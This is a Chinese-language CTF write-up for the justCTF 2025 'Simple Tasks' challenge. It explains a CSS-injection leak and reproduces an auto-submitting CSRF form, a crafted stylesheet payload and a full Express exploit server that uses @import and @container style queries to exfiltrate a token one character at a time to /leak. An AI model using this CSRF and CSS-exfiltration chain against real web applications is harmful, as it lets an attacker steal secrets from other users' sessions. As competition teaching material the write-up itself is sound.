css leak -- justctf 2025 Simple Tasks

from表单,会默认携带同源cookie,我们可以利用这一点让在admi的账号中添加task

js 复制代码
<form id="autoSubmitForm" action="http://192.168.6.133/tasks/0" method="post">
  <input name="content" value="示例数据">
</form>

<script>
	document.getElementById("autoSubmitForm").submit();
</script>

CSS 变量(也称为自定义属性)是 CSS 中用于存储可重用值的强大工具,语法简洁且功能灵活。

定义变量

  • 语法: --variable-name: value;
  • 位置: 在 CSS 规则块内定义(如 :root、类、ID 等)
  • 命名规则:
    • -- 开头(如 --main-color
    • 区分大小写(--color--Color 不同)
    • 可包含字母、数字、下划线、连字符
  • 作用域:
    • 全局变量:定义在 :root 伪类中(整个文档可用)
    • 局部变量:定义在特定选择器中(仅限该选择器及子元素)
css 复制代码
/* 全局变量 */
:root {
  --primary-color: #3498db;
  --spacing: 20px;
}

/* 局部变量 */
.container {
  --bg-color: #f0f0f0;
}

考虑如下有效负载

html 复制代码
<link rel=stylesheet href=/tasks><link rel=stylesheet href=http://localhost:5000/css/justToken{>}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{}*{--x:

他将在/task形成如下有效负载

html 复制代码
<html lang="en"><head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Your Tasks</title>
  <style nonce="">
    body {
      font-family: sans-serif;
      background: #fdf6e3;
      text-align: center;
      padding: 2em;
    }

    table {
      margin: 0 auto;
      border-collapse: collapse;
      width: 80%;
    }

    td {
      max-width: 300px;
      padding: 0.5em 1em;
      border-bottom: 1px solid #ccc;
      font-size: 1.2em;
    }

    td.delete {
      width: 20px;
    }
    td.delete button{
      margin: 0;
      padding: 2px 4px;
    }

    td.view {
      width: 100px;
    }

    td pre{
      word-wrap: break-word;
      white-space: pre-wrap;
      text-align: left;
    }

    .btn,
    button {
      font-size: 0.9em;
      padding: 0.5em 0.5em;
      margin-top: 1em;
      cursor: pointer;
      background-color: #eee;
      border: 1px solid #aaa;
    }

    h1 {
      font-size: 2em;
    }
  </style>
</head>

<body>

  <h1>Your Tasks</h1>

  <table>
    
      <tbody><tr>
        <td class="delete">
          <form action="/tasks/delete/0">
            <button type="submit">X</button>
          </form>
        </td>
        <td class="view">
          <form action="/tasks/0" method="GET">
            <button type="submit">View Task</button>
          </form>
        </td>
        <td>
          <pre>&lt;link rel=stylesheet href=/tasks&gt;&lt;link rel=stylesheet href=http://localhost:5000/css/justToken{&gt;}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{}*{--x:,
justToken{58...</pre>
        </td>
      </tr>
      
  </tbody></table>

  <form method="POST" action="/tasks/create">
    <button class="btn" type="submit">Create New Task</button>
  </form>



</body></html>

当经过,这段代码,其将被加载

html 复制代码
<link rel=stylesheet href=/tasks>
css 复制代码
... {}*{--x:            ← 开始自定义属性声明
...
justToken{58ad2f89269e8b9d216172fa8f2008415d385dd508336d4b}  ← 中间出现的"justToken{...}"
... }                   ← 下一个右大括号结束声明块
  • *{--x: 开启了一个 CSS 自定义属性(custom property)声明。

  • 自定义属性的值语法非常宽松:从冒号后一直吞到同层级遇到的下一个 ;} 为止 ,中间几乎可以包含任意字符(包括成对的 {})。

  • 因为后面恰好出现了 justToken{...},再遇到 } 结束,所以这个"justToken{...}"会被当作 --x 的值 (连同中间的文本一起被吞进去,直到结束的 } 为止)。

结果: 在未被 nosniff 拦截的情况下,这份"HTML-as-CSS"会给你的页面应用一条样式:把自定义属性 --x 设为一段包含 justToken{...} 的字符串。自定义属性会参与层叠,你可以在同源页面里读取它getComputedStyle 对跨域样式的"影响"是可见的)。

接下来这里的将会与后端有效负载交互引入

html 复制代码
<link rel=stylesheet href=http://localhost:5000/css/justToken{>
js 复制代码
app.get('/css/:flag', (req, res) => {
  res.set('content-type', 'text/css');
  // let css = fs.readFileSync(__dirname + '/leak.css') // 这里注释掉了
  let css = '';
  let imports = '';

  // 生成 16*16 组合的 @import 和 @container
  for(let i=0; i<16; i++){
    for(let j=0; j<16; j++){
      const f = req.params.flag + charset[i] + charset[j];
      imports += `@import "/var/${i}_${j}?flag=${f}";`;
      css += containerTpl(f, `${i}_${j}`);
    }
  }
  // 生成单字符的 @import 和 @container
  [...charset].forEach((c, i) => {
    const f = req.params.flag + c;
    imports += `@import "/var/${i}?flag=${f}";`;
    css += containerTpl(f, i);
  })

  res.send(imports + css);
});

// 返回带有 CSS 变量的样式
app.get('/var/:id', (req, res)=>{
  res.set('content-type', 'text/css');
  res.send(variableTpl(req.query.flag, req.params.id));
});

服务器的返回如下

css 复制代码
@import "/var/0_0?flag=justToken{00";@import "/var/0_1?flag=justToken{01";@import "/var/0_2?flag=justToken{02";@import .....
@container style(--x:var(--y0_0)){
  body{
    background: red url('/leak/justToken{00');
  }
}
@container style(--x:var(--y0_1)){
  body{
    background: red url('/leak/justToken{01');
  }
}......

import负责发送到 /var/:id 其返回如下

css 复制代码
*{--y5_11:,
justToken{5b...</pre>
        </td>
      </tr>
      
  </table>

  <form method="POST" action="/tasks/create">
    <button class="btn" type="submit">Create New Task</button>
  </form>

</body>

</html>

理解 @import@container 这两个 CSS 规则及其在攻击中的作用至关重要。

1. @import - CSS 导入规则

基本功能

用于在 CSS 文件中导入外部样式表

标准语法

css 复制代码
@import url("style.css");
@import "print.css" print; /* 媒体查询 */

在攻击中的作用

css 复制代码
@import "/var/0_0?flag=justToken{00";
  1. 强制浏览器发起请求

    • 浏览器解析 CSS 时会自动请求所有 @import 资源
    • 本例中向 /var/0_0?flag=justToken{00 发起 GET 请求
  2. 传递敏感数据

    • 通过 URL 参数 flag=justToken{00 将测试的 flag 片段发送到服务器
    • 服务器根据这个参数决定是否设置 CSS 变量
  3. 大规模探测

    • 256 个双字符组合 + 16 个单字符组合 = 272 个请求
    • 覆盖所有可能的字符组合(如十六进制字符 00-ff)

2. @container - CSS 容器查询

基本功能

根据元素容器的尺寸/样式应用条件样式(类似媒体查询但针对元素而非视口)

标准语法

css 复制代码
.component {
  container-type: inline-size;
}

@container (min-width: 600px) {
  .child { font-size: 2rem; }
}

在攻击中的特殊用法

css 复制代码
@container style(--x:var(--y0_0)) {
  body {
    background: red url('/leak/justToken{00');
  }
}
  1. 样式查询

    • style(--x:var(--y0_0))最近的容器元素 上的CSS变量--x的值等于另一个变量--y0_0的值时,会触发内部的样式规则。(检查是否与/var/:id返回内容一致)
    • 这是 CSS Containment Level 3 规范中的实验性特性
  2. 条件触发机制

    • 仅当 --y0_0 变量被定义时(由 /var 路由设置)
    • 才会应用内部的 background 样式
  3. 数据泄露通道

    css 复制代码
    background: red url('/leak/justToken{00');
    • red 提供视觉反馈(辅助调试)
    • url() 触发图片加载请求,泄露完整测试字符串

根据此原理可逐字泄露
来自官方的完整脚本如下

Simple Notes | justCTF2025

js 复制代码
const express = require('express');

const app = express();
const PORT = 5000;

// 十六进制字符集
const charset = '0123456789abcdef'
// expr 用于生成 flag 相关的 HTML 片段
const expr = flag => `,\n${flag}...</pre>\n        </td>\n      </tr>\n      \n  </table>\n\n  <form method=\"POST\" action=\"/tasks/create\">\n    <button class=\"btn\" type=\"submit\">Create New Task</button>\n  </form>\n\n</body>\n\n</html>`;

// variableTpl 用于生成带有 CSS 变量的样式
const variableTpl = (flag, i=0) => `*{--y${i}:${expr(flag)}`;
// containerTpl 用于生成 @container 规则,触发 background 请求
const containerTpl = (flag, i=0) => `@container style(--x:var(--y${i})){
  body{
    background: red url('/leak/${flag}');
  }
}\n`;

// 结果存储类,用于管理每个请求的结果和异步通知
class Results{
  constructor(){
    this.map = new Map();
  }

  // 获取对应请求的结果对象,如果不存在则新建
  get(req){
    let r = this.map.get(Results.fingerPrint(req));
    if(!r){
      this.add(req);
      r = this.map.get(Results.fingerPrint(req));
    }
    return r;
  }

  // 新增一个请求的结果对象,包含异步通知机制
  add(req){
    let resolve;
    const promise = new Promise(r=>resolve=r);
    this.map.set(Results.fingerPrint(req), {
      results: [],
      update: {promise, resolve}
    });
  }

  // 添加结果,并触发异步通知
  addResult(req, value){
    const r = this.get(req);

    r.results.push(value); // 修复了 bug
    r.update.resolve(value);
  }

  // 清除并重置异步通知
  clearUpdate(req){
    let resolve;
    const promise = new Promise(r=>resolve=r);
    const r = this.get(req);
    r.update = {promise, resolve};
  }
  
  // 生成请求的唯一指纹(IP+UA)
  static fingerPrint(req){
    return [req.ip, req.headers['user-agent']].join('@#$%^&*(');
  }
}

// 全局结果数据库
const resultsDb = new Results;

// 生成动态 CSS,包含大量 @import 和 @container 规则
app.get('/css/:flag', (req, res) => {
  res.set('content-type', 'text/css');
  // let css = fs.readFileSync(__dirname + '/leak.css') // 这里注释掉了
  let css = '';
  let imports = '';

  // 生成 16*16 组合的 @import 和 @container
  for(let i=0; i<16; i++){
    for(let j=0; j<16; j++){
      const f = req.params.flag + charset[i] + charset[j];
      imports += `@import "/var/${i}_${j}?flag=${f}";`;
      css += containerTpl(f, `${i}_${j}`);
    }
  }
  // 生成单字符的 @import 和 @container
  [...charset].forEach((c, i) => {
    const f = req.params.flag + c;
    imports += `@import "/var/${i}?flag=${f}";`;
    css += containerTpl(f, i);
  })

  res.send(imports + css);
});

// 返回带有 CSS 变量的样式
app.get('/var/:id', (req, res)=>{
  res.set('content-type', 'text/css');
  res.send(variableTpl(req.query.flag, req.params.id));
});

// 被 background 请求时,记录 flag 并响应
app.get('/leak/:flag', (req, res) =>{
  resultsDb.addResult(req, req.params.flag);
  console.log(req.params.flag)
  res.send('ok');
})

// 提供 exploit 页面
app.get('/exploit', (req, res) => {
  console.log('visit');
  res.sendFile(__dirname + '/solve.html');
});

// 轮询接口,等待异步结果
app.get('/poll', async (req, res) => {
  const r = resultsDb.get(req);
  const result = await r.update.promise;
  resultsDb.clearUpdate(req);
  res.send(result);
});

// 启动服务
app.listen(PORT, () => console.log(`Server running on http://localhost:${PORT}`));
相关推荐
ZXT3 分钟前
Chrome Devtool
前端
wycode4 分钟前
web缓存问题的解决方案
前端
一枚前端小能手6 分钟前
🆘 Git翻车现场救援指南:5个救命技巧让你起死回生
前端·git
快起来别睡了11 分钟前
Web Worker:前端性能优化的“幕后英雄”
前端
雾岛听风来12 分钟前
MySQL事务原理:从ACID到隔离级别的全解析
前端
三小河23 分钟前
借用数组非破坏性方法来优化react的状态更新
前端
海拥32 分钟前
AI编程实践:使用Trae快速开发“躲避陨石”HTML小游戏
前端·trae
tanxiaomi1 小时前
✨ 基于 JsonSerialize 实现接口返回数据的智能枚举转换(优雅告别前端硬编码!)
java·前端·spring·spring cloud·mybatis
好好好明天会更好1 小时前
vue中template的使用
前端·html
快起来别睡了1 小时前
虚拟滚动:前端长列表性能优化的“魔法”
前端